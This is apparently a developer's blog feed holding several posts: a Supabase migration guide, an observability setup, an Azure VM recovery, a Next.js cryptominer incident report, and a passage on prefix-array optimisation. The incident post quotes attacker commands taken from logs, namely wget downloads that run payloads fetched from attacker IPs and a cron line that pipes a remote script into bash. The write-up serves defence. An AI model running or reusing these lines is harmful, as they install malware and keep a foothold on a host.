# For migration: use service role key (bypasses RLS)
# This is the "service_role" key from Supabase dashboard
SUPABASE_SERVICE_KEY = "eyJ..."

# Service role connection bypasses RLS
# Use direct database connection with service credentials

Post-Migration: Verify RLS

After migration, verify RLS is working:

-- Check which policies exist
SELECT tablename, policyname, cmd, qual
FROM pg_policies
WHERE schemaname = 'public';

-- Test as a specific user (in Supabase SQL editor)
SET request.jwt.claims = '{"org_id": "org_123", "role": "user"}';
SELECT * FROM entities;  -- Should only see org_123's data

Indexing Strategy

Proper indexing is critical for Supabase performance:

Index Categories

Category	Example	Index Type	Notes
Primary Key	`id`	B-Tree (automatic)	Use UUID for new tables
Foreign Key	`parent_id`	B-Tree	Critical for JOINs
Tenant Scope	`organization_id`	B-Tree	Required for RLS performance
Status	`status`	B-Tree	Often combined with org
Temporal	`created_at`	B-Tree DESC	For recent-first queries
JSONB	`custom_data`	GIN	For containment queries
Text Search	`name`	GIN (tsvector)	For full-text search

Index Creation Script Pattern

-- Foreign key indexes (critical for JOIN performance)
CREATE INDEX IF NOT EXISTS idx_entity_items_entity_id
    ON entity_items(entity_id);

-- Tenant-scoped queries (CRITICAL for RLS performance)
CREATE INDEX IF NOT EXISTS idx_entities_org
    ON entities(organization_id);

-- Combined index for common query patterns
CREATE INDEX IF NOT EXISTS idx_entities_org_status
    ON entities(organization_id, status);

-- Temporal queries
CREATE INDEX IF NOT EXISTS idx_entities_created
    ON entities(created_at DESC);

-- JSONB containment queries
CREATE INDEX IF NOT EXISTS idx_entities_custom_data
    ON entities USING GIN(custom_data);

-- JSONB specific key queries (expression index)
CREATE INDEX IF NOT EXISTS idx_entities_custom_industry
    ON entities((custom_data->>'industry'));

Index Count by Category

Our final index breakdown:

Category	Count	Percentage
Foreign Key	217	44%
Tenant Scope	89	18%
Status/Type	72	15%
Temporal	58	12%
Composite	41	8%
JSONB/GIN	14	3%
Total	491	100%

Foreign Key Strategy

Phased Constraint Creation

Critical insight: Creating foreign keys during data load is extremely slow. Each INSERT triggers constraint validation.

Our approach:

Create tables without foreign keys
Migrate all data (using service role)
Clean orphaned references
Add foreign keys
Create indexes
Enable and create RLS policies

Orphan Cleanup

Before adding foreign keys, clean up invalid references:

-- Find orphans: child references non-existent parent
SELECT child.id, child.parent_id
FROM child_table child
LEFT JOIN parent_table parent ON child.parent_id = parent.id
WHERE child.parent_id IS NOT NULL
  AND parent.id IS NULL;

-- Clean orphans: set to NULL
UPDATE child_table child
SET parent_id = NULL
WHERE parent_id IS NOT NULL
  AND NOT EXISTS (
    SELECT 1 FROM parent_table
    WHERE id = child.parent_id
  );

Cascade Strategy Decision Matrix

Relationship	ON DELETE	ON UPDATE	Reasoning
Strong ownership	CASCADE	CASCADE	Child meaningless without parent
Soft reference	SET NULL	CASCADE	Preserve child, clear reference
Lookup reference	RESTRICT	CASCADE	Prevent invalid state
Audit/history	NO ACTION	CASCADE	Never delete audit records

Leveraging Supabase Features

After migration, you can take advantage of Supabase's full feature set.

Realtime Subscriptions

Replace MongoDB change streams with Supabase Realtime:

import { createClient } from '@supabase/supabase-js'

const supabase = createClient(SUPABASE_URL, SUPABASE_ANON_KEY)

// Subscribe to changes on a table
const subscription = supabase
  .channel('entities-changes')
  .on(
    'postgres_changes',
    {
      event: '*',  // INSERT, UPDATE, DELETE
      schema: 'public',
      table: 'entities',
      filter: `organization_id=eq.${orgId}`
    },
    (payload) => {
      console.log('Change received:', payload)
      // Handle the change
    }
  )
  .subscribe()

Enable Realtime for Tables

-- Enable realtime for specific tables
ALTER PUBLICATION supabase_realtime ADD TABLE entities;
ALTER PUBLICATION supabase_realtime ADD TABLE entity_items;

Supabase Client for Application Code

Replace MongoDB driver with Supabase client:

// Before: MongoDB
const entities = await db.collection('entities')
  .find({ organizationId: orgId, status: 'active' })
  .toArray()

// After: Supabase (RLS handles org filtering automatically!)
const { data: entities, error } = await supabase
  .from('entities')
  .select('*')
  .eq('status', 'active')

Edge Functions for Complex Operations

Replace MongoDB aggregations with Edge Functions:

// supabase/functions/calculate-metrics/index.ts
import { serve } from 'https://deno.land/std@0.168.0/http/server.ts'
import { createClient } from 'https://esm.sh/@supabase/supabase-js@2'

serve(async (req) => {
  const supabase = createClient(
    Deno.env.get('SUPABASE_URL')!,
    Deno.env.get('SUPABASE_SERVICE_ROLE_KEY')!
  )

  // Complex aggregation that was painful in MongoDB
  const { data, error } = await supabase.rpc('calculate_entity_metrics')

  return new Response(JSON.stringify(data), {
    headers: { 'Content-Type': 'application/json' }
  })
})

Database Functions for Complex Queries

-- Create a function for complex aggregations
CREATE OR REPLACE FUNCTION calculate_entity_metrics(org_id UUID)
RETURNS TABLE (
    status TEXT,
    count BIGINT,
    avg_items NUMERIC
) AS $$
BEGIN
    RETURN QUERY
    SELECT
        e.status,
        COUNT(*)::BIGINT,
        AVG(item_count)::NUMERIC
    FROM entities e
    LEFT JOIN (
        SELECT entity_id, COUNT(*) as item_count
        FROM entity_items
        GROUP BY entity_id
    ) items ON e.id = items.entity_id
    WHERE e.organization_id = org_id
    GROUP BY e.status;
END;
$$ LANGUAGE plpgsql SECURITY DEFINER;

Storage Integration

Move binary data to Supabase Storage:

// Upload file
const { data, error } = await supabase.storage
  .from('documents')
  .upload(`${orgId}/${entityId}/${filename}`, file)

// Get public URL
const { data: { publicUrl } } = supabase.storage
  .from('documents')
  .getPublicUrl(`${orgId}/${entityId}/${filename}`)

// Store URL in database
await supabase
  .from('entity_attachments')
  .insert({ entity_id: entityId, file_url: publicUrl })

Error Handling & Data Quality

Graceful Degradation

A single bad document should not stop the entire migration:

import logging
from dataclasses import dataclass
from threading import Lock

@dataclass
class MigrationStats:
    """Thread-safe migration statistics."""
    documents_processed: int = 0
    documents_failed: int = 0
    rows_inserted: int = 0
    _lock: Lock = None

    def __post_init__(self):
        self._lock = Lock()

    def record_success(self, rows: int):
        with self._lock:
            self.documents_processed += 1
            self.rows_inserted += rows

    def record_failure(self):
        with self._lock:
            self.documents_processed += 1
            self.documents_failed += 1


def migrate_with_error_handling(bson_path: str, db_connection) -> MigrationStats:
    """Migrate collection with graceful error handling."""
    stats = MigrationStats()
    logger = logging.getLogger(__name__)

    for doc in read_bson_file(bson_path):
        try:
            result = flatten_document(doc, 'entities')
            rows_inserted = insert_all_rows(db_connection, result)
            stats.record_success(rows_inserted)

        except Exception as e:
            stats.record_failure()
            doc_id = doc.get('_id', 'unknown')
            logger.error(f"Failed to migrate document {doc_id}: {e}")

            # Save failed documents for retry
            save_failed_document(doc, str(e))

    return stats

Data Validation

MongoDB allows messy data. Sanitize during transformation:

from typing import Optional

def sanitize_text(value: Optional[str]) -> Optional[str]:
    """Sanitize text for Supabase insertion."""
    if value is None:
        return None

    # Remove null bytes (PostgreSQL doesn't allow \x00)
    value = value.replace('\x00', '')

    # Ensure valid UTF-8
    value = value.encode('utf-8', errors='replace').decode('utf-8')

    # Trim excessive whitespace
    value = ' '.join(value.split())

    return value if value else None

Performance Optimizations

Parallel Collection Processing

Collections are independent—process them in parallel:

from concurrent.futures import ThreadPoolExecutor, as_completed
from typing import List

def migrate_all_collections(
    collection_paths: List[str],
    db_connection_factory,
    max_workers: int = 4
) -> dict:
    """Migrate multiple collections in parallel."""
    results = {}

    with ThreadPoolExecutor(max_workers=max_workers) as executor:
        futures = {}

        for path in collection_paths:
            conn = db_connection_factory()
            future = executor.submit(migrate_collection, path, conn)
            futures[future] = path

        for future in as_completed(futures):
            path = futures[future]
            try:
                stats = future.result()
                results[path] = stats
                print(f"✓ {path}: {stats.documents_processed} docs")
            except Exception as e:
                print(f"✗ {path}: {e}")
                results[path] = None

    return results

Supabase Connection Pooling

Use Supabase's connection pooler for better performance:

# Use pooler connection string (port 6543) instead of direct (port 5432)
# Transaction mode for short queries
POOLER_URL = "postgresql://postgres.[ref]:[pass]@aws-0-[region].pooler.supabase.com:6543/postgres"

# Session mode for migrations (maintains state)
DIRECT_URL = "postgresql://postgres.[ref]:[pass]@db.[ref].supabase.co:5432/postgres"

Deferred Constraint Validation

Disable triggers during bulk load:

-- Before migration (run as superuser/service role)
SET session_replication_role = replica;

-- ... perform bulk insert ...

-- After migration
SET session_replication_role = DEFAULT;

Lessons Learned

1. Plan for Orphaned References

Problem: MongoDB doesn't enforce referential integrity. We found thousands of references to deleted documents.

Solution: Build orphan detection into your pipeline. Run cleanup before adding foreign keys.

2. RLS Performance Requires Indexes

Problem: RLS policies that filter by organization_id are slow without proper indexes.

Solution: Always create indexes on columns used in RLS policies BEFORE enabling policies.

-- Create index BEFORE policy
CREATE INDEX idx_entities_org ON entities(organization_id);

-- Then create policy
CREATE POLICY tenant_isolation ON entities
    USING (organization_id = auth.jwt()->>'org_id');

3. Test with Production-Scale Data

Problem: A migration that works with 1,000 documents may fail with 100,000.

Solution: Test with full production data volume. Monitor memory and query performance.

4. Use Service Role for Migration

Problem: RLS policies block migration inserts if organization_id doesn't match JWT.

Solution: Use service role key during migration (bypasses RLS), then verify RLS works after.

5. Supabase CLI is Your Friend

Solution: Use Supabase CLI for:

Schema migrations (supabase migration new)
Local development (supabase start)
Type generation (supabase gen types typescript)

6. Handle Time Zones Explicitly

Problem: MongoDB dates might be in different time zones.

Solution: Always use TIMESTAMPTZ and explicitly convert to UTC during migration.

Results & Metrics

Migration Statistics

Metric	Value
Source Collections	65
Target Tables	282
Total Rows	~80,000
Foreign Keys	217
Indexes	491
RLS Policies	156
Orphaned References Cleaned	2,847
Failed Documents	12
Success Rate	99.98%

Performance Comparison (Post-Migration)

Query Type	MongoDB	Supabase	Improvement
Simple lookup	5ms	2ms	60%
Aggregation	250ms	45ms	82%
Join (3 tables)	N/A*	15ms	-
Reporting query	2.5s	180ms	93%
Realtime updates	Custom code	Built-in	∞

*MongoDB required multiple queries and application-level joins.

Developer Experience Improvements

Aspect	MongoDB	Supabase
Multi-tenant security	Application code	Database RLS
Realtime	Custom change streams	Built-in
Type safety	Manual	Generated types
Auth integration	Separate system	Integrated
Dashboard	MongoDB Compass	Supabase Studio

Conclusion

Migrating from MongoDB to Supabase is more than a database change—it's an upgrade to a complete backend platform. The relational model brings data integrity, RLS brings security, and Supabase's ecosystem brings developer productivity.

Key Takeaways:

Plan normalization carefully. Each nested structure needs a strategy.
Embrace RLS. It's not just security—it simplifies your application code.
Phase your migration. Schema → Data → Constraints → RLS policies.
Use the full platform. Realtime, Storage, Edge Functions, and Auth are included.
Test at scale. Performance characteristics change with data volume.

Next Steps After Migration

Validation: Compare counts, verify data integrity, test RLS policies
Update Application: Switch to Supabase client, remove manual tenant filtering
Enable Realtime: Add subscriptions where needed
Migrate Files: Move binary data to Supabase Storage
Monitor: Use Supabase dashboard for query performance

Useful Resources

This post is based on a real production migration. Numbers have been rounded, and specific table names have been generalized.

Questions about your own migration? Drop them in the comments!

Building a Multi-Tenant Observability Platform with SigNoz + OneUptime

Prince Raj — Thu, 15 Jan 2026 18:35:08 +0000

Modern SaaS teams need deep observability without sacrificing tenant isolation or compliance. This post explains how we built a multi-tenant monitoring platform that routes logs, metrics, and traces to isolated SigNoz and OneUptime stacks, enforces strong security controls, and aligns with SOC 2 and ISO 27001 practices. The result: each customer gets a dedicated monitoring experience while we keep the operational footprint lean and repeatable.

1) Architecture Overview

We designed a hub-and-spoke model:

A central monitoring VM hosts the observability stack.
Each tenant has either:
- a fully isolated SigNoz stack (frontend, query, collector, ClickHouse), or
- a shared stack with strict routing based on a tenant identifier (for lightweight tenants).
Each application VM runs an OpenTelemetry (OTEL) Collector that tails PM2 logs, receives OTLP traces/metrics, and forwards to the monitoring VM.

This gives a consistent ingestion pipeline while allowing isolation-by-default where needed.

2) Tenant Segregation Strategy

We support two isolation modes:

1) Full isolation per tenant

Dedicated SigNoz stack per tenant
Separate ClickHouse instance
Separate OTEL collector upstream
Strongest data isolation

2) Logical isolation on a shared stack

Single SigNoz + ClickHouse
Routing by business_id (header + resource attribute)
Good for smaller tenants

We default to full isolation for regulated or high-traffic customers.

Key routing headers:

x-business-id for SigNoz
x-oneuptime-token for OneUptime

3) Provisioning and Hardening the Monitoring VM

We treat the monitoring VM as a controlled production system:

SSH keys only, no password auth
Minimal inbound ports (22, 80, 443, 4317/4318)
Nginx as a single TLS ingress
Docker Compose for immutable service layout

Example provisioning steps (high-level):

# SSH key-based access only
az vm user update --resource-group <rg> --name <vm> --username <user> --ssh-key-value "<pubkey>"

# Open required ports (restrict SSH to trusted IPs)
az network nsg rule create ... --destination-port-ranges 22 80 443 4317 4318

4) Multi-Tenant Routing at the Edge

We use Nginx maps to route traffic by hostname for both UI and OTLP ingestion:

map $host $signoz_collector_upstream {
  signoz.tenant-a.example  signoz-otel-collector-tenant-a;
  signoz.tenant-b.example  signoz-otel-collector-tenant-b;
  default                 signoz-otel-collector-default;
}

server {
  listen 4318;
  location / {
    proxy_pass http://$signoz_collector_upstream;
  }
}

This gives us clean DNS-based tenant routing while keeping a single IP.

5) Collector Configuration: Logs, Traces, Metrics

Each tenant VM runs OTEL Collector with filelog + OTLP. We parse PM2 logs (JSON wrapper), normalize severity, and attach resource fields for fast filtering in SigNoz.

Core fields we enforce:

severity_text (info/warn/error)
service.name
deployment.environment
host.name
business_id

Minimal config excerpt:

processors:
  resourcedetection:
    detectors: [system]
  resource:
    attributes:
      - key: business_id
        value: ${env:BUSINESS_ID}
        action: upsert

  transform/logs:
    log_statements:
      - context: log
        statements:
          - set(severity_text, attributes["severity"]) where attributes["severity"] != nil

This makes severity_text, service.name, and host.name searchable immediately in SigNoz.

6) Client-Side Integration (Apps)

We used a consistent OTEL pattern across backend, web, and agent services:

Backend: OTLP exporter for traces
Web: browser traces forwarded to backend (which re-exports)
Agents: OTEL SDK configured with OTEL_EXPORTER_OTLP_ENDPOINT

Typical environment variables:

BUSINESS_ID=tenant-a
SIGNOZ_ENDPOINT=http://signoz.tenant-a.example:4318
ONEUPTIME_ENDPOINT=http://status.tenant-a.example:4318
OTEL_EXPORTER_OTLP_TRACES_ENDPOINT=http://127.0.0.1:4318/v1/traces
DEPLOY_ENV=production

7) DNS and TLS (Public UX)

Each tenant gets:

signoz.
status.

We terminate TLS at Nginx with real certificates (ACME/Let's Encrypt):

sudo certbot --nginx -d signoz.tenant-a.example -d status.tenant-a.example

We keep per-tenant TLS policies aligned with strong ciphers and HSTS.

8) Verification and Observability QA

We validate the pipeline with:

OTEL health endpoint (/health on collector)
Test traffic from backend
ClickHouse queries to confirm log attributes
SigNoz filters for severity_text, service.name, host.name

Example ClickHouse check (internal):

SELECT severity_text, count()
FROM signoz_logs.logs_v2
WHERE resources_string['business_id'] = 'tenant-a'
AND timestamp >= now() - INTERVAL 15 MINUTE
GROUP BY severity_text;

9) Security and Compliance (SOC 2 + ISO 27001)

We implemented controls aligned with SOC 2 and ISO 27001:

Access control: SSH keys only, least privilege, MFA on cloud console.
Network segmentation: minimal open ports; SSH restricted by source IP.
Secrets management: runtime secrets stored in a vault, never in code.
Encryption in transit: TLS everywhere, no plaintext endpoints exposed.
Encryption at rest: disk encryption enabled on VMs and DB volumes.
Audit trails: system logs retained; infra changes tracked in code.
Change management: all config in repos; change reviews before deployment.
Monitoring and alerting: OneUptime for SLOs and uptime checks.
Incident response: documented procedures, retention and escalation.
Backup strategy: ClickHouse backup policies per tenant.

10) Repeatability: Infra + Tenant Config as Code

We split configuration by responsibility:

Monitoring services repo: all infra and Nginx routing
Tenant repos: OTEL collector config and deploy hooks

That means a new VM can be rebuilt with:
1) Pull monitoring repo and run docker compose up -d
2) Update DNS + TLS
3) Run tenant deployment scripts to install collector and env

Final Takeaways

This architecture gives us the best of both worlds:

Strong tenant isolation for compliance-focused clients
Shared ops processes and standard config
Fast log filtering (severity/service/env/host) for high signal-to-noise debugging
A repeatable, audited deployment flow suitable for SOC 2 and ISO 27001 requirements

🚨 How We Rescued a Dead Azure Linux VM After SSH, Agent, and OS Disk All Broke (A Real Production War Story)

Prince Raj — Fri, 09 Jan 2026 09:10:17 +0000

TL;DR:

Azure VM became completely inaccessible:

SSH hung forever

RunCommand was locked

VM agent was corrupted

OS disk had already been swapped once

The fix wasn’t another hack — it was a controlled surgical migration to a fresh VM identity using the same OS disk.

This post is the full battle log.

🧩 The Situation

We were running a monitoring server on Azure (Ubuntu).

One day:

SSH stopped responding (connection established → banner timeout)
Azure RunCommand extension locked itself permanently
VM agent entered a zombie state
Repair VM flow was used
OS disk was restored
And yet… the VM was still broken

At this point the machine was logically alive but operationally dead.

This is the worst kind of outage:

The VM exists, the disk exists, but the control plane is poisoned.

🧠 Why This Happens

Azure VMs have two halves:

Layer	What it Contains
Guest OS	Your files, apps, data, users
Control Plane	VM identity, NIC metadata, agent channels, extensions

Disk repair only fixes the guest OS.

When control plane metadata breaks — the VM is permanently unstable.

This is what happened.

🧯 What We Tried (And Why It Still Failed)

We tried everything:

VM Repair workflow
OS disk swap
SSH daemon reset
Firewall rebuild
iptables flush
VM agent resets
RunCommand agent rebuild
Forced deallocation
Extension deletion
Boot diagnostics

Every symptom disappeared… except the real problem:

The VM identity itself was corrupted.

🛠 The Correct Solution: Lift-and-Shift the OS Disk

When Azure VM identity breaks, you do not fix the VM.

You replace it.

Here’s the exact migration procedure.

🧱 Step-By-Step Recovery

1️⃣ Deallocate the broken VM

az vm deallocate -g prod -n monitoring-server

2️⃣ Detach the OS Disk

osDisk=$(az vm show -g prod -n monitoring-server --query "storageProfile.osDisk.name" -o tsv)

az vm update -g prod -n monitoring-server --remove storageProfile.osDisk

3️⃣ Create a Fresh VM Using the Same Disk

az vm create \
  -g prod \
  -n monitoring-server-v2 \
  --attach-os-disk $osDisk \
  --os-type Linux \
  --size Standard_D2s_v3 \
  --public-ip-sku Standard \
  --vnet-name prod-vnet \
  --subnet default \
  --nsg prod-nsg \
  --admin-username azureuser \
  --generate-ssh-keys

This boots the entire original system on a clean VM identity.

4️⃣ SSH Into the New Server

ssh azureuser@<NEW_PUBLIC_IP>

💥 The server comes up instantly.
All services intact.
No corruption.
No agent problems.
No SSH issues.

5️⃣ Delete the Broken VM

After verifying everything:

az vm delete -g prod -n monitoring-server --yes

🧬 Why This Works

The disk is never the problem.
The problem is VM metadata rot:

Corrupted agent channels
Broken extension registry
Stuck execution locks
Damaged NIC bindings
Poisoned provisioning state

By re-hydrating the OS disk on a new VM object, you bypass all of it.

This is the same internal process Azure support uses.

🧭 Lessons Learned

Disk ≠ VM
Repair fixes OS, not control plane
SSH problems after disk swap are usually identity corruption
Don’t waste days debugging a poisoned VM
Rebuild the VM, not the disk

🧨 Final Thought

When your VM is half-alive and nothing makes sense anymore…

Stop fixing it.
Move the brain (OS disk) into a new body (VM).

This approach saved my production monitoring stack and cut downtime from days to minutes.

If this saved you — share it.
Someone else is debugging this exact nightmare right now.

Happy debugging 👨‍💻🔥

We Got Hacked: How CVE-2025-55182 Turned Our Next.js App Into a Crypto Mine

Prince Raj — Mon, 08 Dec 2025 06:05:36 +0000

How We Got Exploited by CVE-2025-55182 and What We Learned

TL;DR: Our Next.js application was compromised 2 days after CVE-2025-55182 was publicly disclosed. A critical Remote Code Execution vulnerability in React Server Components allowed an attacker to deploy cryptomining malware. Full remediation took 15 minutes. Here's how it happened and how you can protect yourself.

The Call That Changed Everything

8:30 AM - Slack notification: "Admin panel is down. Gateway errors everywhere."

8:32 AM - We discovered our PM2 process list looked like a horror story:

│ 0  │ boss-backend        │ waiting │ 8450 │ 0%  │

The backend had crashed 8,450 times. Something was seriously wrong.

Discovery: The Smoking Gun

While investigating the crash logs, our security monitor revealed something alarming that had been running undetected for ~2 days:

WARNING: High CPU processes detected: /tmp/kdevtmpfsi 352%
WARNING: High CPU processes detected: /tmp/kdevtmpfsi 352%
WARNING: High CPU processes detected: /tmp/kdevtmpfsi 352%

kdevtmpfsi - a well-known cryptominer malware signature.

Our server was being used to mine cryptocurrency. And we didn't even know it.

The Vulnerability: CVE-2025-55182

On December 3rd, a critical vulnerability (CVSS 10.0) was disclosed affecting React Server Components and Next.js:

Detail	Value
CVE ID	CVE-2025-55182
Affected Component	React Server Components (RSC)
Affected Versions	Next.js 15.x (before patches), React 19.0-19.2
Our Version	Next.js 15.5.0 ❌
Attack Vector	Network, No Authentication Required
CVSS Score	10.0 (Critical)

Why It's So Dangerous

The vulnerability exists in the React Server Components "Flight" protocol, which handles serialization/deserialization between server and client. Due to insecure deserialization, an attacker can craft a malicious HTTP request that executes arbitrary code on your server.

Key characteristics:

✗ No authentication required
✗ Works on default configurations
✗ Public exploits are available
✗ One request is all it takes

Your existing firewall, rate limiting, and Fail2ban rules won't help. This is an application-level vulnerability, not a network-level one.

How We Got Pwned (Timeline)

Based on log analysis, here's exactly what happened:

December 5, 2025

12:30 PM - First attack attempt logged:

Error: Command failed: wget http://45.76.155.14/vim -O /tmp/vim; 
chmod +x /tmp/vim; nohup /tmp/vim > /dev/null 2>&1

The attacker was downloading and executing a malicious binary disguised as "vim".

1:50 PM - Second wave: Botnet deployment attempts

wget -q http://194.69.203.32:81/hiddenbink/react.sh -O bins.sh; 
chmod 777 bins.sh; ./bins.sh

5:01 PM - The real payload: Kinsing cryptominer

wget http://193.34.213.150/nuts/lc -O /tmp/config.json
wget http://193.34.213.150/nuts/x -O /tmp/fghgf

December 6, 2025

~Midnight - The cryptominer kdevtmpfsi spawns and starts consuming 352% CPU (3.5 cores)

7:04 PM - Attacker establishes persistence by installing malicious cron jobs

December 8, 2025

5:33 AM - System becomes unresponsive. Investigation begins.

What the Attacker Actually Got

After forensic analysis, we discovered:

Installed Malware

Kinsing (/tmp/kinsing) - Dropper/loader
Kdevtmpfsi (/tmp/kdevtmpfsi) - XMRig-based Monero cryptominer
Libsystem.so (/tmp/libsystem.so) - LD_PRELOAD rootkit (process hiding)
Config.json (/tmp/config.json) - Mining pool configuration

Persistence Mechanisms

The attacker added multiple cron jobs to ensure reinfection:

@reboot /usr/bin/.kworker react 20.193.135.188:443
* * * * * wget -q -O - http://80.64.16.241/re.sh | bash

That last line runs every minute - a "phone home" mechanism that ensures the malware comes back even if manually removed.

What They DIDN'T Get

✓ No data exfiltration - This was CPU theft, not data theft

✓ No root access - Attacker was limited to user-level permissions

✓ No lateral movement - Attack was isolated to this single server

The good news: This was resource consumption, not information theft. But still incredibly embarrassing.

How Our Security Failed Us

We had multiple security layers in place. They all failed:

Security Measure	Why It Failed
Fail2ban	Designed for brute-force attacks, not code injection
UFW Firewall	Attack came through legitimate HTTPS (port 443)
Redis Auth	Attack didn't target Redis, it used HTTP
Security Monitor	Detected `kdevtmpfsi` but didn't recognize it as malware

The root cause: Over-reliance on perimeter security instead of application-level protection.

Remediation (15 Minutes)

Step 1: Kill the Malware

sudo kill -9 $(pgrep -f kdevtmpfsi)
sudo kill -9 $(pgrep -f kinsing)

Step 2: Remove Persistence

# Clean crontab
echo "*/5 * * * * /path/to/legitimate-monitor.sh" | crontab -

# Remove malware files
sudo rm -f /tmp/kinsing /tmp/kdevtmpfsi /tmp/libsystem.so /tmp/config.json

Step 3: Patch the Application

cd apps/web
npm install next@15.5.7 react@19.0.1 react-dom@19.0.1
npm run build
pm2 restart boss-frontend

Step 4: Verify

npm list next
# ✓ next@15.5.7 (patched version confirmed)

Total time: ~15 minutes from discovery to full recovery.

Lessons Learned

What Went Wrong

Delayed Patching - CVE disclosed Dec 3, we were exploited Dec 5 (2-day window)
Incomplete Detection - Security monitor didn't recognize the malware process
No Outbound Monitoring - Couldn't detect connections to mining pools
Overconfidence - Assumed perimeter security was enough

What Went Right

Existing Monitoring - PM2 made it obvious something was crashing repeatedly
Quick Response - Once discovered, full containment in minutes
Limited Damage - Resource theft, not data theft
Automated Tools - PM2 and npm made recovery fast

How to Protect Yourself

Immediate Actions (Do These Now)

Check Your Version

npm list next
npm list react
npm list react-dom

If you're on Next.js 15.x, 16.x or React 19.0-19.2, you're vulnerable.

Update to Patched Versions

npm install next@latest react@latest react-dom@latest
npm run build

Subscribe to Security Advisories
Add npm audit to your CI/CD pipeline
Enable Dependabot or Snyk for automated alerts
Subscribe to Vercel security updates

Short-Term Protections (This Week)

Enable WAF Rules
If using Cloudflare, AWS WAF, or Vercel, enable their RSC protection rules. They've already deployed specific defenses for CVE-2025-55182.
Add Dependency Scanning to CI/CD

npm audit --audit-level=high

Fail the build if critical vulnerabilities are found.

Long-Term Improvements (This Month)

Monitor Outbound Connections
Log and alert on unusual outbound network traffic. Mining pools typically connect to known IPs.
Implement CPU/Memory Limits
Use cgroups or container limits to alert when processes exceed thresholds.
File Integrity Monitoring
Monitor /tmp and other writable directories for new executable files.
Consider Containerization
If not already done, containerizing your application provides better resource isolation and easier recovery.

Key Takeaways

Patch immediately - A 2-day window is all attackers need
Application security matters - Your firewall won't save you from RCE
Perimeter defense is incomplete - You need defense-in-depth
Detect and respond quickly - We went from compromise to recovery in 15 minutes because we had good monitoring
Share knowledge - Every attacker learns from every successful exploit; the community benefits from incident reports

Questions?

If you're running Next.js or React Server Components, now is the time to patch. Don't wait 2 days like we did.

Have you been affected by this vulnerability? Share your experience in the comments.

This incident report has been sanitized to protect sensitive system details while sharing valuable security lessons with the community. All infrastructure details, IP addresses of attacker infrastructure, and specific server configurations have been removed or generalized.

Optimizing Code for Performance: A Case Study in Prefix Arrays

Prince Raj — Mon, 09 Dec 2024 22:00:41 +0000

In the world of competitive programming and algorithm design, even small changes in code can result in massive performance gains. In this article, we analyze a simple yet significant optimization in a problem-solving code. We'll dissect the two versions of a function designed to determine if subarrays of a given array are "special," as defined by a specific condition. One version of the code executes in 435ms, while a slightly modified version runs in 4ms. Let's uncover why.

The Problem Statement

The problem involves determining whether a subarray of integers is "special." A subarray is special if, for every consecutive pair of elements, their parities alternate (i.e., one is even, the other is odd, and vice versa). Given an array nums and a set of queries [u, v] (where u and v are the bounds of the subarray), the task is to answer whether each subarray satisfies the "special" condition.

The Solution: Prefix Arrays

Both implementations leverage a prefix array (pref) to preprocess the data for efficient query answering. The prefix array pref[i] stores the count of parity alternations from the start of the array up to index i. Queries are answered using the difference between two prefix values, avoiding the need to re-check the array for each query.

First Implementation: The Slower Version

class Solution {
public:
    vector<bool> isArraySpecial(vector<int>& nums, vector<vector<int>>& queries) {
        int n = nums.size();
        vector<int> pref(n+1, 0);
        for (int i = 1; i < n; i++) {
            pref[i+1] = pref[i];
            if (nums[i] % 2 != nums[i-1] % 2) {
                pref[i+1]++;
            }
        }

        vector<bool> ans;
        for (auto& query : queries) {
            int u = query[0], v = query[1];
            if (u == v){
                ans.push_back(true);
                continue;
            }
            ans.push_back(pref[v+1] - pref[u+1] == v - u);
        }

        return ans;
    }
};

Second Implementation: The Faster Version

class Solution {
public:
    vector<bool> isArraySpecial(vector<int>& nums, vector<vector<int>>& queries) {
        int n = nums.size();
        vector<int> pref(n+1, 0);
        for (int i = 1; i < n; i++) 
            pref[i+1] = pref[i] + (nums[i] % 2 != nums[i-1] % 2);

        vector<bool> ans;
        for (auto& query : queries) {
            int u = query[0], v = query[1];
            if (u == v){
                ans.push_back(true);
                continue;
            }
            ans.push_back(pref[v+1] - pref[u+1] == v - u);
        }

        return ans;
    }
};

Key Differences

1. Incremental Assignment in Prefix Calculation

Slow Version:

  pref[i+1] = pref[i];
  if (nums[i] % 2 != nums[i-1] % 2) {
      pref[i+1]++;
  }

Here, the prefix array is updated in two steps:

First, the value from the previous prefix index is copied.
Then, the value is conditionally incremented.
- Fast Version:

  pref[i+1] = pref[i] + (nums[i] % 2 != nums[i-1] % 2);

In this version, the prefix array is updated in a single step using an arithmetic expression.

2. Compiler Optimization and CPU Pipelines

The expression (nums[i] % 2 != nums[i-1] % 2) in the fast version is directly added to the prefix value, avoiding branching logic. CPUs are optimized for branch prediction and instruction pipelining, and conditional statements (like if) introduce potential branch mispredictions. The fast version eliminates branching entirely in the prefix computation loop.

3. Memory Access Patterns

In the slow version:

Memory is accessed twice for each prefix update (pref[i] and pref[i+1]). In the fast version:
Memory is accessed once per update (pref[i+1]).

Although this may seem minor, repeated memory accesses can significantly impact performance in tight loops, especially for large arrays.

Why the Huge Difference in Execution Time?

Time Complexity

Both versions have the same theoretical time complexity:

Preprocessing: ( O(n) )
Query Answering: ( O(q) ), where ( q ) is the number of queries.

However, constant factors matter in real-world performance:

The fast version avoids branching and redundant memory operations, minimizing execution overhead.
The slow version introduces branch misprediction penalties and additional operations per loop iteration.

Empirical Results

Slow Version: 435ms
Fast Version: 4ms

This 100x improvement is a testament to the power of micro-optimizations, especially in competitive programming contexts.

Lessons Learned

Avoid Conditional Statements in Tight Loops: Whenever possible, replace if-based logic with arithmetic expressions to exploit the CPU's efficiency with branchless code.
Minimize Memory Access: Reducing redundant memory reads and writes can significantly boost performance.
Understand Your Tools: A deep understanding of how compilers and CPUs optimize code can help write more efficient solutions.
Profile Your Code: Use profiling tools to identify bottlenecks and focus your optimization efforts where they matter most.

Conclusion

In programming, small details often make a big difference. The journey from 435ms to 4ms illustrates how thoughtful optimizations, such as avoiding branches and reducing memory operations, can transform code performance. For competitive programmers, these insights are not just valuable—they're essential.

Building a Timezone-Aware API with Node.js: Trials, Tribulations, and Triumphs

Prince Raj — Fri, 20 Sep 2024 16:06:10 +0000

Introduction:

Handling timezones effectively is crucial for applications that operate across multiple geographical locations. Timezone issues can lead to confusing user experiences and data inconsistencies, especially when your application relies heavily on scheduling or timestamps. This article dives deep into the journey of building a timezone-aware API using Node.js, discussing the challenges faced and providing detailed solutions.

Part 1: Understanding the Problem

When building web applications that serve users from different time zones, developers often encounter challenges with datetime values appearing incorrect or inconsistent due to timezone differences. This issue is particularly problematic for applications involving scheduling or events logged in real-time.

Part 2: Exploring Solutions

To address these challenges, we explored several solutions including:

GeoIP Integration: We used the geoip-lite library to infer the user's timezone from their IP address, providing a context-aware experience for each user without manual input.
